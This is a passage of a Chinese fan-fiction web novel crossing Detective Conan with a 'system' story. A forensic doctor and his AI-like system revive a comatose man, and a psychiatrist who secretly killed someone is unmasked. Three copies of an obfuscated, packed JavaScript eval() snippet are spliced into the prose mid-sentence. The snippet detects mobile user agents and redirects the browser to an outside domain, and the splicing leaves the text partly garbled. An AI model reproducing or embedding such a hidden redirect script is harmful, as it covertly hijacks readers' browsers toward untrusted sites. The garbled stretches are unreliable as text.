“成熟的知情者之间的对话”是进行不下去了,柯南捂住额头,迟疑了几秒钟,见医生已经要关门,连忙说道:“要是真的发现了什么线索,您也要小心。” 口罩遮挡住了黑泽阵的大半张脸,柯南无从看清他的神情,只觉得医生的眼神十分奇异,似乎有某些额外的含义。 “没事,”他说着关上门,将侦探隔绝在死寂之外,“我不会死的。” “怎么,被耽搁了?”解剖室内,已经开始进行尸检的兼职法医江岛医生抬眼问道。 他没听到对话内容,但能感觉到对方在门口停留的时间有些长,按黑泽医生的风格,换个装备用不了这么长时间。 “当事人有点麻烦。”黑泽医生简短地解释了一句,看向另一个解剖台上,那个据说“应该”被自己杀死的女人。 这位宫野明美小姐确实很年轻,身上大出血留下的血迹还未完全清理干净,躺在冰冷的金属台面上,很能让人体会生死的无常。 “真可惜啊,还这么年轻。”江岛医生感叹,显然说的不是他自己正在解剖的这个男人。 不过他也就是感叹这么一句,身为见惯了生死的医生,面对尸体并不会有太多的情绪。 黑泽医生则连感叹都没有,他简单检查了一遍尸体,然后着手取出子弹。 这个过程他做得很流畅,看得出非常熟练,但在将子弹从伤口中取出的瞬间,法医的手却突然顿了一下。 这停顿本身细微不可查,但随即,黑泽医生保持着刚取出子弹的姿势,盯着面前的尸体几秒钟没有动作。 一直很安分的系统觉察到了不对劲,小心翼翼地问:“怎么了?你突然认出她了?” 黑泽医生没有回话,甚至没有对这无厘头的提问给出任何反应,他将取出的子弹放入证物袋收好,随后伸手握住宫野明美的手腕,俯下身近距离地凝视着她。 这下连边上的江岛医生都注意到了问题,他暂时停下自己的工作,疑惑地往黑泽医生的方向看过来,只见到银发男人眸光低垂,被遮挡住一大半的脸上神情晦涩,难以辨明。 片刻后,他抬起眼,以一种奇异的,压抑的声调说道—— “准备急救,她没有死。” 16.景光 这是巧合,还是某种必然呢? 如果不是被送到医院解剖,那么就算人没死,也不可能在第一时间得到救助,而如果不是黑泽阵来了这里,及时发现异常,那么甚至有可能她就这么死了。 不过,退一步说,要不是现场医护判定她已经死亡,宫野明美说不定当场就被送去急救,不必来解剖室走一遭。 然而,已经被专业医生判定死亡的尸体突然复活…… “这也太怪了吧!”系统有点崩溃,“比那个炸弹怪多了啊!” “是吗?”黑泽医生十分镇定,因为要解剖的尸体没死,侦探也跟着蹲手术室去了,他现在难得的有些空闲,正对着系统屏幕飞快地检查系统写的报告。 “这又不是后期那种飞檐走壁的时候,”系统说起话来完全不管宿主没看过原片,“现在难道不应该还是科学世界吗……不对已经很不科学了,但怎么说这也有点太强行了,是有什么不得不大团圆的任务吗,要不要去买点饺子皮……” 它越说越混乱,黑泽医生几乎没有在听,直到这过分人性化的ai像是累了一样停下,他才说道:“你自己就很不科学,而且,这种事情并不是没有发生过。” “我又不是这个世界的……嗯?”系统一怔,“什么叫‘不是没有发生过’?” “被判定死亡的尸体在解剖前复活,”黑泽医生关掉屏幕,慢悠悠地说,“这是有案例的,你可以上网查,当然,能提前发现的是运气好,最糟的情况是,等到打开胸腔,才发现心脏依然在跳动。” 系统:“……别说了,好可怕。” 它兀自惊吓了一会儿,才发现话题已经跑偏了:“好吧,就算这属于可能的情况,但是之前已经有两个应该死的人没死了,现在这怎么看也不像是巧合吧?” “所以呢,”黑泽阵淡淡地反问,“你有什么见解?” “这……”系统一时间还真说不出什么来,情况是很诡异,但这是早就知道的事,而解决办法也压根没有,它总不能跟宿主说“既然这样咱们现在去把人给杀了”。 感觉宿主很有可能一口答应。 对于系统的卡壳,黑泽医生毫不意外,他在这难得的安静中踱步到大楼外,经历了这些事情,如今已是深夜,天空中只有一轮弯月,像是所有的星星都已化作流星坠下。 黑泽先生又给自己点了根烟,唇边泛起一丝笑意:“比起今天这个,我这有个更离奇的案例。” “哎?”系统十分惊讶,“还有?” “三年前,我刚到米花的时候,还没有这么忙,”黑泽阵漫步在夜晚的医院中,“有次一具别处的尸体送来解剖。” 米花的法医竟然还有能接收别处尸体的时候吗……系统大为震撼。 “也是枪伤死亡,”黑泽阵继续说道,“比这次更狠,是击穿心脏而亡的,送到我这里的时候已经死了超过二十四小时。” 系统开始觉得有点不对劲了:“咦……” “不过,”黑泽医生脸上浮现出嘲讽般的笑意,“就在我取出子弹的瞬间,‘奇迹’发生了。” 时至今日,他依然能记起当时的场景,在他的眼前,那具冰冷的、绝无一点生气的尸体当中,残破不堪的心脏,无端的开始跳动。 本应早已凝固的血液从伤口处涌出来,染红了法医的衣角,这通常象征着死亡的场景,此时却在事实上意味着生机的降临。 系统发出一声短促的惊叫,又像是被掐住嗓子一样在中途截断,几秒钟之后,它才以震撼的口吻低声说:“这不可能!” 它倒是确实努力贯彻了“不大喊大叫”的承诺…… 黑泽医生为此低笑:“在亲眼见证之前,我也以为这不可能。” 然而事情就是发生了,所以早在认识系统之前,他就觉得这个世界并不怎么……科学。 也不怪他会很自然地把工藤新一身上发生的事情,往玄学的方向想。 “可恶……”系统显得更加崩溃了,分明它自己就不是什么正常的存在,也是它自己证实了这根本是个“故事”构造的世界,但面对这些事情,它却总表现得比黑泽阵这个普通居民更加难以置信,“这种事情……等会。” 他像是突然想到了什么:“三年前那是个男人吗?” 黑泽阵点头:“怎么?” “三年前,心脏中枪,男人,该不会是……”系统小声嘀咕,这下清楚了,它显然是想到了什么剧情人物。 就目前已知的案例们而言,倒是并不意外。 “你要是好奇的话,”说话间,黑泽医生已经走进米花医院的住院部大楼,“就去看看吧。” 米花医院的医学水准,在整个日本都是数一数二的,尤其是外伤相关的科室。 毕竟医生是个需要经验和练习的职业。 不过,它住院部的人数反而没有一些人想象的那么多——都直接进太平间了。 黑泽医生先前解剖时换了白大褂,此时走在医院的走廊里毫无违和感,偶有几个巡查的医生护士,都没有觉察到他并非本院医生。 “我隐瞒了这件事,”他一边走,一边告诉系统,“伪造验尸报告之后,没有人知道他是死后复生的。” 系统没有问他为什么要隐瞒,对于这种灵异事件,每个人的处理自然都有自己的理由,它现在更关注的是—— “那个人是不是长这样?” 一张档案出现在黑泽先生眼前,他只扫了眼照片,就点头道:“是他。” 猜测被证实了:“也是剧情人物?” “嗯,”系统的声音里反倒透着不可置信,“这都没死……不过,一直在住院的话……” “是植物人的状态,”黑泽阵随口解释,“三年了,对外界几乎没有反应,但是生理状况还算正常,医院这边不知道他的身份,也无法联系亲属,所以只能就这么留着。” “啊,是有查过身份的吗?”系统惊讶道。 还以为会特意隐瞒他的存在。 “送进来的时候是‘不知名受害人’的身份,”黑泽医生走进电梯,低头略微翻了翻眼前的资料,“这在米花很常见。” 啊这,好吧……系统默了。 既然“不知名”,那医院方面出于义务,自然是要查一下的,只是并没有什么结果。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783935|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “如果他的经历没有太大的变动,”看着档案的黑泽先生接着说,“那应该是去卧底的时候把资料删了,所以查不到。” “啊……”系统发出一声充满人性的轻叹,然后好奇道,“那他的住院费用……?” 黑泽阵走出电梯:“我出的。” “毕竟是很神奇的现象,我也想知道他能活多久。”对于系统被感动的“呜呜”声,黑泽先生稍作解释,“但后来实在太忙,很久没来看过,不知道现在是不是还活着。” 如果人死了医院却还在扣他的钱,那可不太让人高兴。 不过,其实他一直怀疑,就算没有维生装置,那个人也不会死。 顶楼的特护病房是单人间,黑泽阵推开房门,没有开灯,径直走到病床前。 他刚知道名字的,叫诸伏景光的男人依然安静地躺在病床上,与过去三年毫无区别。 月光挥洒在他身上,显得澄澈柔和,令男人看起来像是只是睡着了。 系统又在小声“呜呜”,也不知道在哭什么。 来都来了,黑泽医生干脆替医院检查了一下病人的现状。 也还是和三年前刚被送进来的时候没什么区别,甚至可以说是更好了点,各项生理指标都很正常,几乎没有常年昏迷导致的不良症状。 情况令人欣慰,只是很难说是米花医院的医护人员水平高超,还是别的原因。 系统哭完了,默默地看着黑泽阵检查,半晌,才以格外犹豫的腔调说:“我好像……知道原因了。” “哦?”医生还真有些惊讶,虽然这玩意自称高科技,也有些特殊的能力,但一直以来在“探查”这方面都没有展现出任何特殊之处(天气预报都做不到),令人很怀疑它发言的可信度。 系统没有第一时间回答,似乎在确认什么,当它在沉默后再度开口之时,声音变得坚定了很多:“……没错,我知道原因了。” 不需要医生再问,它已经认真地解释起来:“我能对这个世界造成的影响非常有限,信息知觉方面也受到很多限制,因为我来这里只有一个目的,就是拯救世界。” 它没必要改变或者维护剧情,自然也没必要知道剧情,“拯救世界”已经是巨大的权限,自然也得付出一定的代价。 “所以,我能预知的只有世界末日——其实严格来说,不是‘预知’,而是‘感知’。”系统说道,“而唯独在这件事上,我的感知是不会有错的。” 黑泽先生看着面前人事不知的病人微微挑眉:“你是说,他会这样,和世界末日有关?” “是,”系统毫不犹豫地回答,“这是一场没能开始的世界末日。” 它这个“世界末日”的设定怎么越来越离谱了,黑泽阵没有说话,听系统继续说道:“世界末日的种类当中,不只有陨石这类纯自然末日,还有一些和人类行为本身相关的类型。” 也许是进入到了自己的‘专业领域’,系统说话的腔调都变得自信起来:“比如说,与人的欲望和野心息息相关,丧尸末日。” “诸伏景光,就是这场末日当中原本的母体。”它笃定地下了结论。 17.交易正式成立 丧尸作为末日的经典题材之一,在无数文艺作品当中出现过,黑泽阵对此也不算陌生,听系统这么说,他很快反应过来:“是那种……研究过程中不慎泄露丧尸病毒的类型?” “差不多,”系统回答,“在正常情况下,死而复生的诸伏先生必定会引发诸多关注,而无论他落入哪一方手中,只要有人试图探究其中的秘密,最后都会引发世界末日。” 然而,在现实的情况是,这世上唯一知道死而复生真相的人,选择让这诱人的导火索躺在医院里整整三年,没有采取任何行动。 以难以言喻的方式,阻止了末日的降临。 “我算是明白,为什么我会和你绑定了。”系统轻声叹息。 它是为拯救世界来的,还有谁比一个已经拯救过世界的人,更适合成为他宿主呢? 自动绑定果然毫无问题,虽然结果有点尴尬……但说不定这确实是最好的结果。 “但是,为什么?”系统有些不解,虽然结果是好的,但当时的黑泽阵又不知道这会引发世界末日,为何会隐瞒这件事呢。 “这可是死而复生,”黑泽先生说得很是理所应当,“你知道那有多麻烦。” 死透了的尸体复活,这已经不能算是医学奇迹了,根本是玄学,黑泽阵不用思考都能明白,作为第一发现者的自己会面临多少麻烦。 与之相比,还不如花点功夫伪造个验尸报告呢。 这个理由……真是直白得难以反驳,令系统大为汗颜。 黑泽先生关注的则是另一件事:“这么说,在你来这里之前,世界末日就已经开始了?” 虽然被中途截断,但既然死而复生的事情已经发生,那就是说末日已经开始降临,黑泽阵倒是不在乎自己在这过程中起到的作用,可如果事实如此,系统所谓的“绝对能预知末日的出现”,岂不是无稽之谈? “准确来说其实还没有,”系统瞬间不感慨了,它赶紧证明自己的专业性,“和纯粹的自然末日不同,母体的出现只是丧尸末日出现的条件之一,后续的研究和操作也很重要,所以这场末日严格来说并没有被触发,我当然也无法在真正接触之前感知到它的存在。” 它想了想,接着说:“如果要我能隔空感知到,应该是在接近丧尸病毒泄露的时间点……不过即便那个时候我还是可以阻止它的。” 系统在这上面确实非常自信,黑泽医生微微扬眉,没有追问。 他今晚来这里,一方面是觉得既然来了医院,就顺便确认下这位许久没见的前尸体的状态,另一方面,自然也有让同为不正常现象的系统看下情况的意思。 虽然在此之前,他没有想到这人会和世界末日直接相关,但不管怎么说,系统的答案也算是部分解开了他心中的疑惑了。 不过……黑泽医生看着病床上的人:“也就是说,三年前他复活之后,即使我一直放着他不管,他也不会死?” 虽然不缺钱,但就这么烧了三年的钱也确实有点浪费。 “可以这么说……?”系统不太确定地说,“他现在的状态其实也不能算是活着,虽然外表看不出来,但本质上,应该算是所谓的活死人。” 既然都没活,那当然也不会死,躺医院里和躺家里不会有什么本质区别。 这样奇异的状态,自然就可以解释,为什么不管落到哪方势力,他都一定会被研究。 哪怕没有什么欲望和野心,单单是这面对这样的奇迹,哪个科学家不会好奇呢? 如果不是宿主掐断了源头,或许这个世界的第一场末日,就不是陨石了吧。 系统越想越远,直到黑泽先生的话语让它重新回神:“那么,你有什么想法吗?” “什么?”它一时没反应过来。 “对这位……诸伏景光先生,”黑泽阵很有耐心地重复,“你有什么想法吗?” 他进一步解释道:“既然已经有了结论,我不打算继续花钱让他住在这里了,要是你没有想法,就送去火化……” “等等!”系统猛然一惊,“就这么火化吗!” “不然呢?”黑泽先生理直气壮地说,“反正也不算活人,身上还有危险的病毒,火化掉会比较安全吧。” 这么一说竟然很有道理,系统倒抽一口凉气:“没有必要啦!毕竟好不容易没死,就这么火化掉也未免太……” 很多时候,它都表现出超越宿主的人性,并不像是那种只冲着“拯救世界”一个目标而来,对其他都不在乎的存在。 面对系统的阻拦,黑泽先生没太坚持,只是又一次说道:“那你有什么想法?” 不管怎么说,不让丧尸病毒扩散出去才是第一位的,系统思索片刻,说道:“我拿积分放个仪式……把他唤醒吧。” 这个回答并不能说多么出乎意料,但却令黑泽先生脸上浮现起一抹意味不明的笑。 “很有意思,”他垂眸而立,缓声道,“按照你的说法,他早就应该死了,要是留着,不仅可能引发末日,还会搅乱你很在意的剧情,你却甚至想要唤醒他?” 虽然宿主态度平和,问题问得也不算诡谲,系统却无端感觉到一股寒意。 它不知这寒意从何而来,但立刻本能地选择了诚实地解释。 “童话系列的仪式基本上都有一定的净化作用,”系统小心翼翼地说,“通过这种方法唤醒他,正常情况下,都能把丧尸病毒的影响力控制在他的体内。就算有影响,也只是对他个人。” “至于剧情……”它无奈道,“都已经这样了,多一个人少一个人,其实差别也不大,我是无法读取剧情的,就算想要保证故事的正常运作,也不可能做到,还不如走一步算一步……” 黑泽先生对它的回答不置可否,只是沉默地倾听着,这反应让系统有些不知所措,想了想接着说道:“不管来多少次末日,我们都一定可以拯救世界的,没必要为此牺牲某个人啦。” 黑泽阵终于回话了,语气中带着点嘲讽:“我还以为,只有工藤新一才是你必须保护的?” “从必要性来说,确实只有他……但我也不是那种能眼睁睁看着一个人死掉的统啊……”系统诚实地说,“如果你坚持要杀死这个人,我是不会阻拦的,只不过,要是你没有那么坚持,那唤醒他……应该也没什么问题。” 它又顿了顿,补充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795248|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“万一失败了,我也会想办法处理的,总之不会搞出事情来的。” “没关系,”黑泽先生笑了下,“我会处理。” 处理方式是火化吗……系统暗自汗颜,然后突然反应过来:“你答应了?” 它话语里的惊喜意味太过明显,以至于黑泽阵感到有些好笑:“难道我还要给你设置什么考验,才允许你拯救公主吗?” “但……”系统不知该说什么,最后默默打开商店页面,开始寻找合适的仪式。 其实自从敲定与宿主的合作之后,黑泽先生对它的态度一直都还不错,尽管称不上温和,冷静总是有的,它还暗自觉得当了法医的宿主比原作随和多了。 可是刚才那一瞬间的寒意也不是假的,比起感叹宿主还是那个宿主,系统更在意的是,它根本不知道自己做错了什么。 它唯一能做的是在对话中尽可能的真诚,这应对好像是成功的,宿主没有真的生气,那份危险的气息仿佛没有存在过,黑泽先生的态度还是那么平静。 但不搞明白问题的关键,就意味着这样的事情还可能再次发生,而它不能保证每次都能应对成功,一旦应对失败…… 系统突然明白寒意的由来了——它刚与宿主绑定的时候,对方所说的话,并不全是加班疲惫之下的胡言乱语。 要是自己当时没能拿出他需要的东西,宿主是真的能坐视世界末日发生的。 这本就是一场需求不平等的交易,这个成为法医的宿主或许比原作的他更危险……因为他真的没有什么在意的东西。 “我没那么可怕吧。”黑泽阵突然说。 系统被吓了一大跳:“啊?!” 不是这人真的会读芯吗?? “你已经停在这个界面上很久了,”黑泽先生表示,“我相信‘誓约戒指’对复活人没有什么帮助。” “啊,”系统芯虚地把商城界面往下拉,“我只是……” “我只是想搞明白你到底想要做什么,”黑泽阵继续说,“因为你说话做事都颠三倒四,说是要拯救世界,但又很随心所欲,正常人都会好奇的。” “不至于把你吓成这样吧?”他几乎算是无辜地说。 “我……”系统想说自己什么时候颠三倒四了,然后发现就是现在,哈哈。 “我可能……只是智商不太够,”它屈辱地说,努力为自己辩解,“每次进入新世界的时候我们都要封存一些数据,防止过载,可能我不小心封存得太多了。” 黑泽先生轻笑道:“这个倒是很明显。” “不用担心,只要你继续努力工作,保持诚实,我就不会放弃你的。”他淡淡地说,“选你要的道具吧,这应该不算任务,积分够用吗?” “啊,上次还有剩……”系统呐呐地说,“只要你许可……” 它有点晃神了,就算所处的位置完全不同,这个男人的性格还是……一点都没有变化。 最神奇的是,只是听到他这样说,它芯中原本漂移不定的数据,就瞬间稳定下来了。 黑泽先生确实毫不在意世界末日……但只要交易还存在一日,他就不会背弃自己的诺言。 18.豌豆 理论上来说,任务中得到的所有积分都是属于宿主的,系统只能对使用方式提出建议。 “没事,”黑泽先生爽快地表示,“我已经得到了报酬,这些都归你。” 经历过方才的对话后,系统知道他所说的是真心的,不由有些莫名的感动:“那,用道具的时候可能需要你配合一下……” “你选。”黑泽阵打断它的瞻前顾后。 系统赶紧把注意力都放到商城中去——之前还觉得自己用写报告换宿主配合好像在亏,现在一想,果然还是占便宜了。 屏幕在黑泽阵眼前闪烁着,亮度系统被调低,总算不再晃眼。 不过医生也没兴趣去看那些道具,他只是默默地看着病床上的男人。 系统并不是因为眼前是剧情人物才想救人,它就只是单纯的不愿意看着一个人死掉。 但这样的系统,却也毫不在意地看着另一些人不断地死掉,成为“侦探故事”的一部分。 或许,这才是这个过于人性化的系统最非人的一面? 法医先生饶有兴致地想着,听系统在自己脑海里嘀咕:“说到唤醒,肯定是睡美人优先,这人躺着也很像睡美人,刚好你在这……” 它调侃到一半,诡异地顿了下:“但是睡美人的话,最好能有‘真爱之吻’……” 就算不提真爱,“吻”毕竟是其中的关键要素。 黑泽先生没有说话,用沉默作出了回答。 “好的我再看看,”系统反应很快,“唔,之前用过的白雪公主也可以……不过,如果要比喻的话,最适合承担‘苹果’位置的应该是当年的那颗子弹。” 那么进行唤醒的最佳时间应该是取子弹的时刻,对应着“苹果离开喉咙”的场景,现在这情况就有点不适配了。 这个所谓的“童话仪式”,使用范围确实很广啊。黑泽先生这样想着,把眼前的屏幕挪开了一点,看着窗外出神。 系统刚来的时候说的那些话大概也都不假,要是它和其他随便什么人绑定,应当能做到更多事情。 “啊,用这个吧,”系统又找了一会儿,惊喜地说道,“豌豆公主!” 黑泽阵的目光回到屏幕上:“哦?” “场景简单又适配,”系统很高兴,“虽然今天没有下雨,但是这么晚了,时间也恰到好处,只需要一颗合适的‘豌豆’就行了!” 黑泽先生回想起这篇故事的内容,瞬间理解了。 “这个怎么样?”他手一抬,拿出一个证物袋。 里面躺着那枚他刚从宫野明美身体里取出的子弹。 效果好得出乎意料。 子弹塞进病床被子下的第七秒,三年来都面容平和宛如死人的诸伏景光皱了皱眉。 第十三秒,他艰难地移动身体,试图往旁边蠕动,但因被墙挡着而失败。 第二十秒,他尝试翻身,同样失败。 半分钟,病床上的男人发出不适的呻吟声,并再次尝试翻身失败。 四十七秒,那双眼睛浑浑噩噩地张开一条缝,又迅速合上。 黑泽阵把证物袋从床底抽出来,按下紧急呼叫按钮。 803号病房那个昏迷三年的病人突然醒来,引得值班医生护士们一阵议论,也一度导致了相当程度的手忙脚乱。 这般情形下,黑泽医生在没登记的情况下出现在病房里这件事,倒是不那么重要了,反正病人的住院费都是他付的,他本人也不是什么可疑人员。 而在一段时间的混乱之后,情况顺利地向着系统预计的方向发展下去。 受到丧尸病毒的影响,尽管刚刚醒来,诸伏景光的状态却恢复得很快,没多久就已经能坐起身来小口喝水,让值班医生直呼医学奇迹。 “这大概就是信念的力量吧!”这位年轻医生一脸激动地说,“多亏了您这三年来的坚持啊!” 除了出钱什么都没做,刚才还想把人火化的黑泽先生:“……” 他转头去看病床上的人,说是“坐”,其实也就是把床头升起来,靠在上面,三年卧床多少还是有些影响,诸伏景光面色苍白,在灯光的映照下,像是要化开一样。 也许是感知到了这份注视,男人缓缓转过头,对着黑泽先生露出一个略带迟疑的微笑:“谢谢您,医生。” 他的声音轻而沙哑,很显然是听到了另一位医生的发言。 “啊,黑泽先生不是这里的医生啦,”话多的年轻医生又转回去对病人说,“但确实是他把你送过来的,这几年也都是他在支付你的住院费和护理费用,因为我们没能找到你的亲人……” “市川,”黑泽阵拍了下他的肩膀,“病人需要休息。” “哦对,”市川医生连忙住口了,“总之,明天再做一个详细的检查,你应该不用多久就能出院了。” “好。”诸伏景光轻轻点头,然后有些出神地怔了片刻,“没能找到……我的亲人?” “完蛋,”系统嘀咕,“他不会失忆了吧。” 好消息,根据系统认证,仪式很成功,丧尸病毒已经成功锁死在诸伏先生的身体里,即便再有人把他切片研究,也不会外溢。 坏消息,真的失忆了。 甚至失忆应该只是副作用之一,这神奇的病毒让诸伏景光看起来像个活人,但终究只是“像个”活人。 不过,其他副作用尚且不是眼下要关注的事情。 “我想不起来,”目前还是无名氏的诸伏景光思索着说,“关于个人的部分……完全没有印象。” 虽然处在失忆状态,他的状态却还算平静,可见心理素质一流。 确认过病人的身体状况没有问题后,其他医生护士们都暂时离开了病房,此时屋里只留下黑泽阵和被他找来的心理医生。 坐在床边椅子上的风户京介点点头,扫过自己本子上的记录,下了结论:“逆行性失忆症。” 大半夜被一个电话喊来加班,这位心理医生倒表现得挺平和,专业素养也十分优秀,和病人聊过没多久,就得出了可靠的结论。 “目前看来,被遗忘的内容包括身份信息和失忆前发生的事情,好在常识方面都还保留着。”他的语气还算轻松,“你好好休息,不要多想,这不是什么不可能恢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798514|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复的病。” 病人抬起眼对他微笑点头:“好。” 风户京介看他这一副苍白虚弱的样子,又看了眼站在边上的人,没有继续多说,而是站起身来向外走去,同时示意黑泽医生跟上自己。 他们走到病房门口,心理医生随口问道:“他是你的熟人吗,黑泽医生?” 黑泽阵双臂环抱,摇了摇头。 既然根本不熟,为什么黑泽医生会这时候让自己来这里?他又不是这家医院的医生。 风户京介心中疑惑,但也没敢问什么,只是接着说道:“那最好能通知一下他的亲人,这种病的情况很难说,也许过段时间自己就会好,也有可能很长时间都无法恢复,总不能让他一直住在医院里。” 黑泽医生不打算和他解释那一系列事情,只是点头表示知道,风户京介继续说道:“至于目前来说,还是先不要刺激他,顺其自然生活一段时间,说不定就想起来了。” 他的这些叮嘱都不算麻烦,唯一的问题是,在当事人失忆的现在,没人知道要去哪找他的亲人。 系统已经小声嘀咕了好几回“这可怎么办啊……”。 不过黑泽医生还是沉着地点头,一副很可靠的样子。 风户京介不了解内情,见他这样也没多想:“我这边也会继续关注的,要是有什么情况可以联系我。” 他专业地说完正事,一时无言,神情中显出点被压抑的焦虑,犹豫片刻,才艰难地问道:“你喊我来……就是因为这个?” “我只熟悉你一个心理医生,”黑泽阵面色平静,话说得也很理所应当,“而且对你的能力很有信心。” 风户京介露出一丝混杂着了然的苦笑:“这样啊……” 其实他也猜是这样,可是…… 他又一次感到后悔,当初意识到自己无法动摇对方的时候,就应该停止接触的。 黑泽阵会和风户京介认识,很显然,是因为他仇视侦探的神经病之名声名远播。 传得太厉害,警视厅的上层实在受不了,又不愿申斥这位米花町救星,思来想去,最后要求他务必去一趟心疗科,并为此强行给他放了假。 既然有假期,黑泽先生便从善如流,去了白鸟警部推荐的医院,当时接诊的就是风户京介。 心理治疗显然没有起到什么作用,据诊疗师风户京介本人说,患者情况稳定,既然妄想症状没有对生活和工作产生太多不良影响,不必太过在意,建议以观察为主。 总之,这次诊疗最大的影响,是黑泽医生因为放假又连着加了好几天班。 风户医生倒是很敬业,在那之后多次建议他可以继续谈话治疗,黑泽先生对此是无可无不可的,只是确实很忙,偶尔才能有一个下班后的晚上,和心理医生见一面。 医疗上自然是毫无进展,不过多少起到一点聊天的作用,两人也算是熟悉了。 于是今天面对失忆症患者,黑泽阵也就自然而然地想到了这位心理医生。 以他的行事风格,当然不会觉得大半夜把人叫来干活有什么问题——这就是黑泽医生的日常生活而已。 19.医生 第一次对黑泽阵进行心理治疗的时候,风户京介就意识到,此人似乎要求不多,但其实是个性格极为顽固和傲慢的人,对于自己认定的事情,绝不会因为一个心理医生的言辞就有什么动摇。 所以他不觉得简单的谈话治疗就能改变对方的想法,后来他提出再次会面,只是觉得黑泽医生在米花地位非凡,又了解警视厅内部情况,多熟悉一下必有好处。 事实证明这不是什么好决定。 在他们的第二次会面中,谈话逐渐深入,单论言谈举止,黑泽先生完全不像有心理问题,此人逻辑严密态度自信,要不是明白自己的诊疗师身份,风户京介说不定就要被对方的理论说服,觉得工藤新一这个人好像是真的有问题。 也是在这样的情形下,他逐渐意识到,黑泽先生的心理问题并不在所谓的“妄想症状”上。 和许多人以为的“他只是在发泄情绪”不同,他是真的想杀掉工藤新一,也是真的不介意告诉所有人这件事。 然而,这并不意味着黑泽先生对工藤新一的恨意有多么深刻,他就只是,完全不觉得杀人是一件需要迂回婉转,或者值得隐瞒的事情。 在如此扭曲的认知下,黑泽先生却又是个行事风格正常,心智也很健全的人,这样一个人,在理智的推导下得出结论,并将之导向杀戮的结果,又毫不在意地宣扬自己的意图,无疑比单纯的妄想症更惊人。 虽然如此,这个认知却没有吓到风户京介,反而激起了他的胜负欲,他也许无法改变对方的想法,但作为心理医生,他热切地想要挖掘对方心理产生的动因,和更深层次的心理状况。 这是他第二个错误的决定。 不知是幸运还是不幸,风户京介确实是个专业能力很强的医生,而黑泽阵,出乎意料的,竟然是个足够配合的患者。 在之后的几次谈话中,医生尽量不去触碰那些可能引起抵触情绪的敏感话题,只是谈论一些日常和假设的情境,而所有话题几乎都能得到回答。 黑泽先生话不多,但凡是说出来的部分都足够真诚,就像不介意谈论自己杀人的想法一样,他不介意向心理医生吐露自己内心真实的想法。 于是风户京介在这场心理探索中走得越来越远,以至于到了无法回头的地步。 他逐渐发现,黑泽阵的心理状态像是一个深渊,对他自己而言稳定无比,但能令所有试图窥探的人战栗。 而你凝视深渊的时候,深渊也在凝视着你。 “你是不是杀过人?”在他们的上次会面中,大约半个小时的谈话后,黑泽先生突然这么问。 风户京介僵住了,他本来不应该表现得如此明显,可是熟悉的环境,配合的患者,和谐的音乐,深夜的精神状况,所有一切试图探入对方心理的准备都反过来击中了他自己。 一瞬间他就知道自己输惨了——虽然对方压根没有比赛的意图。 “没事,”凝滞的空气中,躺椅上的黑泽阵摆了下手,甚至没在意风户京介暗暗寻找武器的举动,“只是建议你不要再杀人了,你没有那个素质。” 只是一句话,就让风户京介感觉自己的自尊正被放在地上碾,他忍不住咬牙:“素质?” “和所有被侦探抓住的犯人一样,试图用躲藏和欺骗掩盖自己,”黑泽先生打了个呵欠,“这不是注定会输吗?还输得很不好看。” “但是那帮警察完全没有发现!”风户京介没忍住,甚至顾不得这意味着承认自己杀人的事实。 他一向自视甚高,做外科医生时是天才,当心理医生也能力出众,哪怕是杀人,都成功骗过了警方,此时被这样看低,令风户京介都忘记了被看穿的恐惧。 就算对方看穿了他,也应该承认他的能力! 但黑泽先生偏过头,完全没打算和他辩论,只是轻飘飘地笑了声。 这一下完全激怒了风户京介,他终于从打开的抽屉底部抽出手枪,猛地指向面前的人:“以后——也不会有人发现——” “我死在你的诊疗室里?”黑泽先生的笑几乎变得兴致盎然了,目光却根本没与他相接,“你有把好枪,黑市里买的?” 他的话语既像是凉水,又仿佛热油,理智慢慢地回到风户京介脑子里,而自尊却仍然在鼓动他扣下扳机,不过,这份僵持还没有持续到第三秒,一阵剧痛突然袭来,他的手一松,枪支落在地上。 黑泽先生钳着他的手腕,语气中仍带着笑意:“这么好的枪,射击的时候要果断,举枪威胁这种可爱的事情不适合它。” 彻底输了。 观察力、言辞、武力的全面碾压,而且是对方甚至没尽力的随意碾压,现在的自己简直像个小丑。 意识到这一点的同时,风户京介的愤怒和杀意都消散了,他下意识地说出那句无数文艺作品中的著名台词:“你,究竟是……” 这人不可能只是个普通的法医,他早该意识到的,对生死这样漠视的人,怎么可能是普通人! 但对方并没有回答他,黑泽先生松开他的手腕,俯身捡起地上的枪。 “当我没说过刚才的话,”他打量着这柄武器,懒洋洋地说,“你太会聊天了,我忍不住说多了。” 现在这个危险的男人又变回了真诚的患者,他将手枪递回给医生:“其实你杀不杀人和我无关,要怎么用它也都可以,别来杀我就行,我很喜欢现在的工作。” 